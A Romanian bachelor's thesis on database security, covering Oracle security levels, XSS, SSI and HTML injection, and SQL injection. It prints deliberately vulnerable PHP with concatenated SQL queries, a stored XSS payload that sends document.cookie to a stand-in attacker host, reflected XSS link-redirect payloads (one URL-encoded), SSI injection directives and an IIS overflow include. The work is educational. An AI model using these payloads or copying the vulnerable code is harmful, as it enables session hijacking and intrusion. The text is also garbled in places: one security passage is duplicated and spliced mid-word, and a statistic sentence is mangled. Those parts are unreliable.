Securitatea Bazelor DE Date Preventia Atacurilor de Tip Sql Injection

SECURITATEA BAZELOR DE DATE

Prevenția atacurilor de tip SQL Injection

Cuprins

I. Introducere

II. Securitatea bazelor de date

2.1. Noțiuni introductive despre baze de date

2.2. Tipuri de baze de date

2.3. Securitatea bazelor de date Oracle

2.3.1. Securitatea la nivel de sistem

2.3.2. Securitatea la nivel de date

2.3.3. Securitatea la nivel de utilizator

III. Atacurile informaționale

3.1. Tipuri de atacuri informaționale

3.1.1. Noțiuni generale

3.2. Testarea vulnerabilitatilor cu ajutorul unei app web

3.2.1. Atacuri Cross Site Scripting (XSS attacks)

3.2.1.1. Exemplu de atac XSS persistent

3.2.1.2. Exemple de atacuri XSS non-persistente

3.2.2. Atacuri de tip SSI (Server Side Includes) Injection

3.2.2.1. Exemple de atacuri SSI Injection

3.2.3. HTML Injection

IV. Atacuri de tip SQL

4.1. SQL Injection

4.1.1. Clasificarea atacurilor SQL Injection

4.1.1.1. Blind SQL Injection

4.1.1.2. Error-based SQL Injection

4.1.1.3. Atacuri bazate pe tautologii

4.1.1.4. Atacuri bazate pe interogări de tip uniune

4.1.2. Metode de prevenire a atacurilor SQL Injection

4.1.2.1. Prepared statements

4.1.2.2. Stored procedures (Proceduri stocate)

4.1.2.3. Actualizarea regulată a serverului de SQL

4.1.2.4. Folosirea de privilegii minime

4.1.2.5. Dezactivarea shell-urilor

4.1.2.6. Testarea codului

V. Testarea vulnerabilităților

5.1. Derularea unui atac

VI. Concluzii

VII. Bibliografie

Motto: "Înainte să faci ceva perfect, fă ceva perfectibil."
(Bill Gates)

Introducere

Lucrarea mea de licență „Securitatea bazelor de date. Prevenția atacurilor de tip SQL Injection” a fost elaborată din dorința de a aborda o temă de actualitate în informatică, de a găsi câteva răspunsuri la probleme cu care se confruntă tehnologia modernă.

SQL Injection este o tehnică de atac folosită pentru exploatarea codului prin alterarea instrucțiunilor SQL back-end prin manipularea datelor de intrare. În proporții variate, majoritatea bazelor de date sunt vulnerabile.

Impactul pe care îl are SQL Injection depinde de multe variabile. Un atacator poate manipula date din baza de date, poate extrage date pe care aplicația trebuie să le accepte și posibil, să execute comenzi ale sistemului de operare asupra bazei de date.

Această tehnică există de când bazele de date au fost conectate pentru prima dată, la o aplicație web. A fost adusă la cunoștință publicului în ziua de Crăciun a anului 1998.

Introducerea unui caracter apostrof (care reprezintă o metodă de pătrundere într-o bază de date) într-un site web sau aplicație web este considerată infracțiune, cu excepția cazurilor în care există un motiv întemeiat pentru folosirea unui astfel de caracter (de exemplu, numele persoanei este O’Hara). Bazele de date SQL interpretează apostroful ca fiind granița dintre cod și date. Se presupune că orice urmează după un apostrof este cod care are nevoie pentru a rula și orice încapsulat de un apostrof este considerat date.

Din nefericire, chiar dacă site-urile web nu acceptă apostrofuri, acestea tot sunt vulnerabile la SQL Injection. Există o multitudine de moduri de codificare a caracterului citat (’) astfel încât să fie acceptat ca intrare, iar unele vulnerabilități injecție SQL să poată fi exploatate fără a utiliza acest caracter. De asemenea, caracterul citat nu este singurul care poate fi folosit pentru a exploata vulnerabilitățile SQL Injection; un număr de caractere sunt disponibile la un atacator, cum ar fi dubla conducta (||) și citat dublu ("), printre altele.

Lucrarea este structurată în două părți, o parte teoretică și o parte aplicativă, în care simulez vulnerabilitatea unor aplicații web la atacuri de tip SQL Injection.

Prima parte a lucrării constă dintr-o introducere în securitatea bazelor de date și a celor trei nivele de securitate, prezentarea unor tipuri de baze de date, ca mai apoi, să mă axez pe descrierea principalelor tipuri de atacuri informaționale și anume, XSS Injection, SSI Injection, HTML Injection și mai ales asupra atacului informațional de tip SQL Injection. Atacul informațional SQL Injection este prezentat în lucrare la modul general, dar și prin exemplificarea tipurilor de atacuri SQL Injection particularizate. În finalul părții teoretice, am prezentat modalități ce pot fi aplicate de către utilizatori pentru a avea baze de date cât mai securizate.

Securitatea bazelor de date

Noțiuni introductive despre baze de date

O bază de date reprezintă o formă de stocare de informații organizate pentru a fi ușor accesibile. Astfel de informații pot fi: contacte, listele angajaților, tranzacții, inventare etc. Bazele de date, prescurtate „BD”, pot fi întâlnite în orice domeniu ce gestionează volume mari de date: economic, științific, matematic, financiar, informatic, social ș.a.m.d.

În informatică, termenul de „bază de date” înseamnă mult mai mult decât cel utilizat în viața de zi cu zi. Aici, prin bază de date se înțelege totalitatea fișierelor, programelor de prelucrare necesare rulării unei aplicații. În cazul aplicațiilor FoxPro sau Access, la categoria „alte tipuri de fișiere” regăsim:

– fișiere de tip cerere (query) – permit realizarea de vederi (view) sau de opțiuni de actualizare asupra unuia sau mai multor grupuri de fișiere de date;

– fișiere de tip formular (form) – permit aranjarea, pe ecran, a seturilor de câmpuri, care definesc structura unui fișier, într-o anumită ordine;

– fișiere de tip raport (report) – pentru scrierea rapoartelor sub formă convenabilă;

fișiere de tip etichetă (label) – pentru a permite obținerea de etichete utilizând informațiile dintr-un fișier de date.

Tipuri de baze de date

Există mai multe tipuri de baze de date, pe care am să le diferențiez în continuare, în funcție de particularitățile lor:

Baze de date back-end

– sunt baze de date ce pot fi accesate de către utilizatori, în mod indirect, prin intermediul unei aplicații externe, mai degrabă decât prin programarea aplicațiilor stocate în baza de date însăși, sau prin manipulare de nivel scăzut a datelor (de exemplu, prin comenzi SQL);

Baze de date pentru rețelele mobile (Mobile Databases)

– sunt fie baze de date staționare, care poate fi conectate la un dispozitiv de calcul mobil (de exemplu, telefoane inteligente și PDA-uri) printr-o rețea de telefonie mobilă sau baze de date care sunt depozitate efectiv de către dispozitivul mobil, precum o listă de contacte, informații despre prețuri, distanța parcursă, sau orice alt fel de informații;

Baze de date centralizate (CDBs – Centralized Databases)

– sunt baze de date care se află, stocate și menținute într-o singură locație, care este cel mai adesea un sistem central de calculatoare sau de baze de date, de exemplu un desktop sau server CPU, ori un calculator mainframe;

– în cele mai multe cazuri, aceste baze de date vor fi utilizate de către o organizație (de exemplu, o companie de afaceri) sau o instituție (de exemplu, o universitate);

– utilizatorii accesează o bază de date centralizată printr-o rețea de calculatoare, care este în măsură să le ofere acces la CPU-ul central și care, la rândul lui, menține baza de date;

Baze de date cloud

– sunt baze de date care, de obicei, rulează pe o platformă de cloud computing, cum ar fi Amazon EC2 și Microsoft Azure;

– există două modele comune de implementare, utilizatorii pot rula baze de date pe cloud independent, folosind o mașină virtuală sau pot achiziționa accesul la un serviciu de baze de date, întreținut de un furnizor de baze de date cloud;

– dintre bazele de date disponibile pe cloud, unele sunt bazate pe SQL, iar altele pe NoSQL.

Securitatea bazelor de date Oracle

Securizarea bazelor de date este o problemă deosebit de importantă pentru toate instituțiile de stat sau private, accesarea acestora de persoane neautorizate putând să conducă la prejudicii majore. Obținerea unor informații economice sau nu, este deosebit de importantă într-un mediu concurențial acerb. Chiar și în cazul calculatoarelor personale, problema confidențialității datelor reprezintă o problemă deosebit de importantă. Acum, toate aceste informații senzitive sunt stocate în baze de date. Bazele de date, fie că vorbim de date bancare, date personale ori alte tipuri de date, tot ceea ce este important este stocat într-un format specific bazei de date respective, folosit pentru un back-up al informațiilor, restaurarea informațiilor etc. și sunt deținute de persoane importante la nivelul unei organizații.

Bazele de date permit conexiuni automate către integrarea aplicațiilor, încărcarea/descărcarea datelor, utilități ETL (Extract, Transform and Load tools), back-up și restore, Reporting Services, data integration etc. Cu alte cuvinte, bazele de date reprezintă centrul informațiilor moderne. De asemenea, bazele de date permit/interzic user ad-hoc connections administratorilor, dezvoltatorilor, testerilor, utilizatorilor de aplicații, precum și utilizatorilor normali.

Conform Horizont 2012 Data Bridge Investigations, severele sunt responsabile pentru 96% din breșele de securitate.

Când vorbim despre securitatea bazelor de date (de tip Oracle), trebuie să avem în vedere mai multe tipuri de acțiuni, care pot fi realizate de utilizatorii acesteia, asupra sa sau a obiectelor conținute și care sunt organizate în diferite scheme.

Administratorul unei baze de date realizează securitatea acesteia prin definirea utilizatorilor ca login-uri/nume ce pot accesa obiectele incluse în scheme de obiecte. Definirea și accesul utilizatorilor se realizează prin acordarea privilegiilor, și acordarea rolurilor. Putem defini privilegiile ca o permisiune pentru accesarea unui obiect, într-un mod predefinit, iar rolul reprezintă mai multe privilegii ce pot fi acordate utilizatorilor unei baze de date.

Un alt lucru pe care trebuie sa îl realizeze administratorul atunci când sunt creați utilizatorii este acela de a defini un anumit domeniu de securitate pentru acesta, fiind specificat modul de autentificare, privilegiile și rolurile pe care le îndeplinește utilizatorul.

Putem vorbi despre securitatea bazelor de date ca :

securitatea la nivelul sistemului;

securitatea la nivelul datelor incluse în baze;

securitatea la nivelul utilizatorilor.

Securitatea la nivel de sistem

Securitatea la nivelul sistemului presupune administrarea utilizatorilor în mod adecvat, alegerea unor metode de autentificare pentru aceștia și stabilirea securității pentru sistemul de operare gazdă a securității.

Administratorii pentru securitate sunt persoanele responsabile pentru asigurarea securității la nivel de sistem și pot fi declarați pentru o bază de date, unul sau mai mulți administratori. Administratorul pentru securitate este singurul care are dreptul de administrare a celorlalți utilizatori ai bazei, crearea acestora, modificarea sau eliminarea lor.

Metodele de autentificare a diferiților utilizatori utilizând parole, sistemul de operare gazdă, serviciile la nivelul rețelei sau protocoale de tipul SSL (Secure Sockets Layer) sau prin utilizarea autentificării și autorizării de tip proxy.

Trebuie să respectăm la nivelul sistemului de operare gazdă pe care se află server-ul și aplicațiile cu baze de date următoarele reguli:

utilizatorii simpli să nu dețină decât privilegii de creare de fișiere utile funcționării bazelor de date sau de ștergere a acestora;

crearea sau ștergerea fișierelor să fie în responsabilitatea administratorilor bazei de date;

modificarea domeniului de securitate pentru conturile disponibile în sistemul de operare, să fie privilegiul administratorilor pentru securitate.

Securitatea la nivel de date

Securitatea la nivelul datelor incluse în baze se realizează prin crearea unor diferite mecanisme de control a modului în care sunt accesate datele și cât de mult sunt utilizate obiectele bazei.

În acest sens, trebuie realizate următoarele acțiuni:

stabilirea utilizatorilor cărora li se permite accesul la un obiect și tipurile de acțiuni ce se permit asupralarați pentru o bază de date, unul sau mai mulți administratori. Administratorul pentru securitate este singurul care are dreptul de administrare a celorlalți utilizatori ai bazei, crearea acestora, modificarea sau eliminarea lor.

Metodele de autentificare a diferiților utilizatori utilizând parole, sistemul de operare gazdă, serviciile la nivelul rețelei sau protocoale de tipul SSL (Secure Sockets Layer) sau prin utilizarea autentificării și autorizării de tip proxy.

Trebuie să respectăm la nivelul sistemului de operare gazdă pe care se află server-ul și aplicațiile cu baze de date următoarele reguli:

utilizatorii simpli să nu dețină decât privilegii de creare de fișiere utile funcționării bazelor de date sau de ștergere a acestora;

crearea sau ștergerea fișierelor să fie în responsabilitatea administratorilor bazei de date;

modificarea domeniului de securitate pentru conturile disponibile în sistemul de operare, să fie privilegiul administratorilor pentru securitate.

Securitatea la nivel de date

Securitatea la nivelul datelor incluse în baze se realizează prin crearea unor diferite mecanisme de control a modului în care sunt accesate datele și cât de mult sunt utilizate obiectele bazei.

În acest sens, trebuie realizate următoarele acțiuni:

stabilirea utilizatorilor cărora li se permite accesul la un obiect și tipurile de acțiuni ce se permit asupra acestui obiect;

acordarea de privilegii de sistem și de obiect pentru utilizatorii unei baze de date și gruparea acestora, eventual în role-uri;

definirea acțiunilor utilizatorilor ce vor fi monitorizate și auditate, pentru fiecare obiect conținut de tabele.

Securitatea la nivelul datelor incluse în baze se poate realiza și prin intermediul vizualizărilor (fine-grained access control). Acestea, pot împiedica accesarea datelor dintr-un tabel, prin acțiuni precum excluderea unor coloane sau linii.

Folosirea unor funcții și asocierea acestora la vizualizări sau tabele generează în mod automat, în cadrul unei instucțiuni în SQL, a unei condiții WHERE, care restricționează accesul la anumite date cuprinse în linii.

Securitatea la nivel de utilizator

Securitatea la nivelul utilizatorilor se realizează prin stabilirea parolelor și acordarea de privilegii utilizatorilor, autentificarea acestora fiind administrată de baza de date.

Administratorii sunt cei care trebuie să dezvolte strategii de securitate pentru parole, care trebuie schimbate la anumite intervale de timp și care trebuie să îndeplinească anumite condiții, precum numărul de caractere, parola trebuind să fie cât mai lungă (minim 8 caractere) și formată din litere (mari și mici), cifre și caractere speciale.

În cazul bazelor de date care au un număr mic de utilizatori, securitatea la nivelul utilizatorilor se poate realiza prin acordarea de privilegii explicite pentru fiecare utilizator.

În cazul bazelor cu un număr mai mare de utilizatori este mult mai eficient dacă se utilizează role-uri, atribuite fiecărei categorii de grupuri, iar în cadrul grupurilor să se acorde nominal privilegii fiecărui utilizator.

Administratorii de securitate au un rol deosebit de important, ei sunt cei care trebuie să stabilească privilegii chiar pentru administratorii bazei de date, în cazul unor baze de date de dimensiuni mari, cu mai mulți administratori și să le includă în role-uri.

De asemenea, trebuie acordate privilegii dezvoltatorilor, pentru crearea obiectelor, aceștia necesitând privilegii speciale, de sistem, specifice pentru activitatea lor, precum privilegiul CREATE, care permite crearea de obiecte în interiorul aplicațiilor. În aceste condiții, rolul administratorilor de securitate este acela de a controla dimensiunea bazei de date acordată fiecărui dezvoltator, limitele acesteia.

Un rol important îl au administratorii de securitate și în stabilirea procedurilor de monitorizare și verificare a bazei de date și a modului în care se realizează auditarea acesteia, fie prin selecție aleatorie, fie prin proceduri active pentru anumite acțiuni și care este nivelul minimal la care se realizează auditarea.

Atacurile informaționale

Un atac informațional poate fi definit ca orice manevră ofensivă adoptată de către o persoană, grup de persoane sau de organizații, care are ca țintă sisteme informatice computerizate, infrastructuri, rețele de calculatoare etc. pentru copierea, alterarea sau ștergerea informațiilor senzitive.

Tipuri de atacuri informaționale

Noțiuni generale

În arta războiului cibernetic, în campaniile cibernetice sunt folosite tehnici de atac, respectiv de apărare a informațiilor și rețelelor de calculatoare ce populează mediul virtual. Acestea, pe de-o parte, neagă abilitățile adversarului, iar pe de altă parte, folosesc instrumente tehnologice împotriva terminalului central al atacatorului.

Terorismul cibernetic reprezintă o utilizare a resurselor computaționale în scopuri malițioase. Teroriștii cibernetici pot exista în orice domeniu, fie că ne referim la populație și la intimidarea maselor de oameni, fie la domeniul energetic, la domeniul transportului sau la zona guvernamentală. Acest lucru înseamnă că punerea la un loc a terorismului cibernetic și a artei războiului cibernetic duce la același rezultat și anume, avarierea infrastructurilor și rețelelor de calculatoare din cadrul mediului virtual (cyberspațiului).

Majoritatea specialiștilor în domeniu consideră că, atunci când ne referim la atacuri informaționale trebuie să avem în vedere următoarele elemente:

utilizatorul și accesul utilizator, fie prin intermediul unui cont obișnuit, fie cu privilegii superioare;

posibilitatea accesului de la distanță care nu necesită acces utilizator la sistem și se produce prin cereri incorecte sau numeroase, venite la intervale de timp scurt (e.g. DOS-Denial of Services, DDOS- Distributed DOS);

posibilitatea accesului de la distanță, care nu necesită acces utilizator la sistem și nu afectează traficul de rețea și constă în trimiterea de date invalide (e.g. Cross-Site Scripting, SQL Injection);

introducerea prin intermediul script-urilor, plugin-urilor ș.a. de programe malițioase (malware) pe calculatorul utilizatorului (bombe, cai troieni, viruși etc).[4]

În continuare, voi prezenta doar câteva tipuri de atacuri cibernetice: Cross Site Scripting (XSS), Server Side Includes (SSI) Injection și HTML Injection, urmând ca atacurile de tip SQL Injection să le dezvolt ulterior în lucrare.

Atacuri Cross Site Scripting (XSS attacks)

Din punctul de vedere al specialiștilor în criminalitate informatică, „atacurile XSS sunt atacuri de tip <<injecție>> în care sunt introduse scripturi în codul sursă al unui website marcat ca <<trusted>>, ce nu prezintă nici un pericol din punctul de vedere al securității”. Vulnerabilitățile la aceste atacuri informaționale sun des întâlnite, la aplicațiile web ce folosesc input-uri care provin de la un anumit utilizator și care generează output-uri, fără ca acestea să fi fost codificate sau verificate.

În aceste condiții, un utilizator este atacat cu script-uri periculoase, fără măcar ca acesta să își dea seama, întrucât informația recepționată nu poate fi verificată de către browser ca fiind de la o sursă de încredere. Crezând că sursa este sigură, browser-ul execută scriptul primit. Din această cauză, soft-ul malițios poate accesa informația provenită din cookies, tokens sau alte informații reținute de browser și le poate folosi simultan cu site-ul original, putând rescrie codul HTML al paginii accesate.

Aceste atacuri sunt întâlnite în următoarele situații:

când sursa datelor nu este verificată;

când datele introduse într-o secvență dinamică sunt direcționate utilizatorului fără a fi scanate pentru potențiale pericole.

„După modalitatea de injectare al codului malware, există două categorii de atacuri XSS: atacuri <<stocate>> și atacuri <<reflectate>>”. Atacurile <<stocate>> presupun stocarea definitivă a codului malițios pe serverul atacat. Victima va prelua scriptul atacatorului în momentul când va accesa informația direct de pe server. În cazul atacurilor <<reflectate>>, codul injectat este reflectat de pe server (ca în cazul unei căutări a unei informații pe un motor de căutare).

Spre deosebire de cele <<stocate>>, atacurile <<reflectate>> ajung la victimă printr-un e-mail sau alt server web”.

O clasificare larg acceptată a atacurilor de tip Cross Site Scripting este împărțirea lor în atacuri persistente și atacuri non-persistente.

În atacurile persistente, informația inserată de către atacator este salvată într-o bază de date secundară. Acest atacuri au un impact mult mai mare decât cele non-persistente.

Exemplu de atac XSS persistent

Voi prezenta un exemplu de atac persistent XSS, prin care se fură sesiunea unui utilizator. Există utilizatori „admin”, care pot vedea lista tuturor utilizatorilor și utilizatori „obișnuiți”, ce își pot actualiza doar informațiile personale.

home.php:

<?php

session_start();

if(!$_SESSION['USER_NAME'])

{

echo "Need to login";

}

else

{

$Host= '192.168.1.8';

$Dbname= 'app';

$User= 'yyy';

$Password= 'xxx';

$Schema = 'test';

$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";

$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

if($_SERVER['REQUEST_METHOD'] == "POST")

{

$query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";

pg_query($Connect,$query);

echo "Update Success";

}

else

{

if(strcmp($_SESSION['USER_NAME'],'admin')==0)

{

echo "Welcome admin<br><hr>";

echo "List of user's are<br>";

$query = "select display_name from $Schema.members where user_name!='admin'";

$res = pg_query($Connect,$query);

while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC))

{

echo "$row[display_name]<br>";

}

}

else

{

echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";

   echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";

   echo "<input type=\"submit\" value=\"Update\">";

}

}

}

?>

login.php:

<?php

$Host= '192.168.1.8';

$NumeBD= 'app';

$User= 'yyy';

$Password= 'xxx';

$Schema = 'test';

$Conection_string="host=$Host nume_bd=$NumeBD user=$User password=$Password";

/* Trimiterea unei cereri pentru crearea unei noi conexiuni cu baza de date*/

$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

/* Eroare la verificarea conexiunii */

if (!$Connect)

{

echo "Eroare Conexiune Baza de Date";

exit;

}

$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";

$result=pg_query($Connect,$query);

$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);

$user_pass = md5($_POST['pass_word']);

$user_name = $row['user_name'];

if(strcmp($user_pass,$row['password'])!=0)

{

echo "Login failed";

}

else

{

# Inceperea sesiunii

session_start();

$_SESSION['USER_NAME'] = $user_name;

echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";

}

?>

Atacatorul s-a logat ca un utilizator normal și va introduce acest cod la numele său de display, cod ce va fi stocat în baza de date, devenind astfel persistent:

<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>

În momentul în care administratorul se va loga pe site, în lista cu utilizatori va apărea un link intitulat My Name. Dacă va accesa acest link, atacatorul va primi sessionID-ul sesiunii curente, permițându-i atacatorului să joace rolul de administrator până la expirarea sesiunii.

ID-ul sesiunii este furnizat atacatorului de un cookie de genul:

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

Exemple de atacuri XSS non-persistente

Spre deosebire de atacurile persistente, atacurile XSS non-persistente necesită doar ca victima atacatorului să acceseze un link malițios prin care să se execute, în browserul acestuia un cod dăunător.

Exemplul 1:

Fie următorul cod:

index.php:

<?php

$name = $_GET['name'];

echo "Welcome $name<br>";

echo "<a href="http://xssattackexamples.com/">Click to Download</a>";

?>

Atacatorul creează un URL pe care îl va trimite victimei:

index.php?name=guest<script>alert('Esti atacat')</script>

Când utilizatorul va accesa acest URL, îi va aparea mesajul „Esti atacat!”. Acest exemplu nu produce pagube, ci doar este menit să îl sperie sau manipuleze pe utilizator.

Exemplul 2:

Să presupunem că utilizatorul dorește să descarce o aplicație dând click unde scrie „Click here to download”.

Atacatorul încearcă acum, să modifice adresa de desținație al link-ului pe care l-a accesat utilizatorul. In loc ca utilizatorul să fie direcționat către www.paginadedescarcare.ro, acesta este redirecționat către www.paginainfestata.ro, prin intermediul codului următor:

index.php?name=<script>window.onload = function()

{

var link = document.getElementsByTagName("a");

link[0].href=http://www.paginainfestata.com/

}

</script>

Acest cod apelează funcția function () care va executa windows.onload. Website-ul afișează întâi numele primit și apoi intră în tagul <a>. Așa se face că, indiferent cum scriem, chiar dacă scriem ca mai jos, nu se poate accesa link-ul dorit, întrucât acele instrucțiuni vor fi executate înainte ca tagul <a> să se închidă.â

index.php?name=<script>

var link = document.getElementsByTagName("a");

link[0].href=http://www.paginainfestata.com/

</script>

Link-ul către pagina infestată nu este deloc scris într-o formă clară, ca cea de sus. El arată sub această formă:

index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64

%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f

%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

Într-o aplicație web, identificarea și eliminarea vulnerabilităților la acest tip de atacuri este dificilă. Efectuarea unei analize de securitate a codului sursă reprezintă modalitatea cea mai sigură de rezolvare a breșelor de securitate. Astfel, se blochează propagarea datelor de intrare a unei cereri de tip HTM-request la ieșirea HTML. Pentru identificarea vulnerabilității site-urilor web, au fost dezvoltate programe care ajută la scanarea acestora, dar care nu realizează o analiză în profunzime a aplicațiilor.

Unul din modurile de protecție împotriva atacurilor XSS reprezintă și dezactivarea funcției „HTTP Trace” de pe toate serverele web. Informațiile din cookie-uri pot fi sustrase de un atacator prin intermediul JavaScript, chiar și atunci când funcția „document.cookie” nu este activă sau disponibilă pe terminalul clientului. În momentul în care persoana respectivă accesează un link malițios, este trimis un apel HTTP Trace prin care sunt preluate informațiile din cookie-uri și transmise către un alt server, de unde atacatorul le poate prelua.

Atacuri de tip SSI (Server Side Includes) Injection

SSI-urile sunt directive prezente în aplicațiile web folosite pentru a alimenta o pagină HTML cu un conținut dinamic. Ele sunt similare cu CGI-uri (Common Gateway Interfaces), cu excepția faptului că SSI-urile sunt folosite pentru a executa unele acțiuni înainte ca pagina curentă să fie încărcată sau în timp ce aceasta este vizualizată. În scopul de a face acest lucru, serverul de web analizează SSI-ul înainte de a furniza pagina utilizatorului.

Atacul Server-Side Includes permite exploatarea unei aplicații web prin injectarea de scripturi în paginile HTML sau prin executare de coduri arbitrare de la distanță. Acesta poate fi exploatat prin manipularea de SSI folosit în aplicație sau forțarea utilizării lui prin câmpurile de introducere a datelor de către utilizator.

Este posibil să se verifice dacă aplicația validează corect câmpurile de date de intrare prin inserarea de caractere, care sunt folosite în directivele SSI, cum ar fi:

< ! # = / . "- >

a – z

A-Z

0-9.

Un alt mod de a descoperi dacă aplicația este vulnerabilă, îl reprezintă verificarea prezenței de pagini cu extensiile .stm și .shtml. Cu toate acestea, lipsa acestor tipuri de pagini nu înseamnă că aplicația este protejată împotriva atacurilor SSI.

În orice caz, atacul de tip SSI va avea succes, doar atunci când serverul web permite executarea de SSI fără o validare corespunzătoare. Acest lucru poate duce la accesul și manipularea sistemului de fișiere și de procese sub permisiunea celui care deține procesul serverului web.

Atacatorul poate accesa informații sensibile, cum ar fi fișierele parolă și executa comenzi de shell. Directivele SSI sunt injectate în câmpurile de introducere și sunt trimise la serverul de web. Serverul web analizează și execută directivele, înainte de a furniza pagina. Apoi, rezultatele atacului vor fi vizibile la următoarea încărcare a paginii în browser-ul utilizatorului.

Exemple de atacuri SSI Injection

Pentru a modifica outputul mesajului de eroare:

<!–#config errmsg="Fisier pierdut. Schimbarea username-ului si a parolei este necesara."–>

Pentru afișarea numelui documentului curent:

<!–#echo var="Nume_Document" –>

Pentru a afișa adresa și numele fișierului:

<!–#echo var="URI_Document" –>

Folosind comanda „config”, și parametrul „timefmt”, este posibil ca un atacator să preia controlul formatului de afișare al datei și orei.

<!–#config timefmt="A %B %d %Y %r"–>

Folosind comanda „fsize” se poate modifica mărimea fișierului selectat:

<!–#fsize file="ssi.shtml" –>

Un exemplu mai vechi de vulnerabilitate în IIS 5.0 permite atacatorului să obțină privilegii de sistem printr-o eroare de buffer overflow în ssinc.dll. Acest DLL este folosit pentru a interpreta procesele SSI. Prin crearea unei pagini malițioase cu codul SSI de mai jos și forțând aplicația să încarce această pagină, printr-un Atac cu Cale Transversală (Path Transversal Attack), este posibil efectuarea următorului atac:

<!–#include file=”UUUU…UU”–>

(Numărul de „U” trebuie să fie cel puțin 2050)

Forțând aplicația să încarce pagina ssi_over.shtml, URL-ul original:

www.sitevulnerabil.ro/index.asp?page=news.asp

devine

www.sitevulnerabil.ro/index.asp?page=www.sitemalitios.com/ssi_over.shtml.

Daca IIS returnează o pagină goală, atunci înseamnă că a avut loc un overflow, caz în care atacatorul poate manipula procedura de overflow și insera propriul cod.

HTML Injection

Injecția HyperText Markup Language (HTML), înțeleasă uneori ca o distrugere virtuală, este un atac asupra unui utilizator, făcută posibilă de o vulnerabilitate injecție într-o aplicație web. Atunci când o aplicație nu se ocupă în mod corespunzător de datele de intrare furnizate, un atacator poate introduce HTML valid, de obicei, printr-o valoare de parametru, injectând astfel propriul conținut în pagină.

Acest atac poate fi folosit în conjuncție cu o formă de inginerie socială, deoarece atacul exploatează o vulnerabilitate pe bază de cod și încredere a unui utilizator.

Injecția HTML este un atac cu o strânsă legătură cu Cross-Site Scripting (XSS). Diferența nu constă în vulnerabilitatea, ci în tipul de atac care folosește vulnerabilitatea. În timp ce XSS folosește tag-uri script să ruleze JavaScript, injecția HTML folosește HTML pentru a modifica pagina în scopuri malițioase.

Atacuri de tip SQL

SQL Injection

În materie de tehnologii utilizate de hackeri pentru a fura date sau sparge baze de date, în zilele de azi, una din metodele majore de spargere a securității o reprezintă atacurile de tip SQL Injection. Atacurile SQL Injection urmăresc, în mod direct, bunurile cele mai valoroase ale unei persoane și anume bazele de date. Ei folosesc aceeași conectivitate ca și aplicațiile web ori alte tipuri de aplicații utilizate, pentru a masca atacul și a ascunde faptul că fură date, ceva care, în mod normal o aplicație nu ar face.

Folosirea securității internetului sau a securității sistemului de operare precum Firewall-urile, permission-based users and roles pot fi de utile în astfel de cazuri, întrucât, o dată ce hackerii obțin accesul la baza de date, pot să umble prin schemele aplicațiilor și să fure sistematic datele din acestea. Multe sisteme au ca vulnerabilități inclusiv aplicațiile bazate pe pachete software și platformele.

Pe scurt, având metode de securizare doar pe partea de aplicații sau de internet ori pe partea de sistem de operare, nu este de ajuns pentru a preveni aceste atacuri. Injecțiile SQL au fost descoperite și la aplicațiile closed-source și s-a constatat că nu există nicio legătură cu acestea, deoarece nu poate fi modificat sau rescris codul, pur și simplu ești doar un subiect al furnizorului de aplicații în încercarea acestuia de a aborda aceste probleme. Testele de penetrare arată că peste 56% din clienți au vulnerabilități la astfel de atacuri.

Cele mai întâlnite surse de atacuri majore de tip SQL Injection sunt:

redirectarea/restructurarea unui query, erori bazate pe mesaje – în care hackerii încearcă să trimită numeroasele lor coduri SQL aplicațiilor pentru a înțelege ce tipuri de date sunt returnate din baza de date; aceștia știu baza de date, sistemul de operare, tipul și versiunea bazei de date, uneori și numele versiunii, numele coloanelor și rândurilor etc, deoarece mesajele de eroare le indică aceste lucruri, iar ei au suficiente arme să atace în continuare într-o maniera mult mai bine focusată pe găsirea informațiilor importante și

injecțiile SQL oarbe – prin care atacă informațiile micșorând numărul datelor returnate, până când injectarea de coduri SQL malițioase, în baza de date, le reușește.

În afară de atacurile de tip injectare SQL, care reprezintă cea mai des întâlnită metodă de spargere a unei baze de date, mai există și alți vectori de atac precum: metode slabe (prin care hoții se folosesc de parole slabe pentru a pătrunde în sistem), metoda brute-force, metoda porturilor bine cunoscute și logarea la porturile implicite folosind parole simple folosite de utilizatori. Există multe rapoarte de securitate care arată ca majoritatea utilizatorilor folosesc parole foarte simple chiar și pentru conturile cu permisiuni de nivel înalt, administratori de sistem, DBA etc.

Pericolele din interior devin din ce în ce mai numeroase decât cele din exterior:

80% din amenințări vin de la persoanele din interiorul organizațiilor;

75% din amenințări interne sunt nedetectabile;

25% din întreprinderi au detectat breșe de securitate;

60% din datele pierdute/corupte sunt cauzate de erori umane.

Există următoarele tipuri de threat-uri:

la nivel de internet: injectare SQL, parole furate, brute-force etc;

în interiorul unei companii: parole slabe, brute-force etc;

la nivelul administratorilor și dezvoltatorilor: joaca cu logurile de date și audit etc;

la nivelul serverelor de aplicații: vulnerabilități ale serverului și parole expuse etc;

la nivelul bazelor de date: AAA (Authentication, Authorization and Accountings) foarte slabe și securitatea bazei de date slabă etc;

la nivel de backup: backup-uri furate sau pierdute etc.

Majoritatea soluțiilor de securitate au costuri ridicate, deoarece necesită personal din exterior, hardware/software dedicat preinstalat pentru utilizarea produsului, licențe costisitoare, baze de date dedicate pentru păstrarea logurilor de securitate etc.

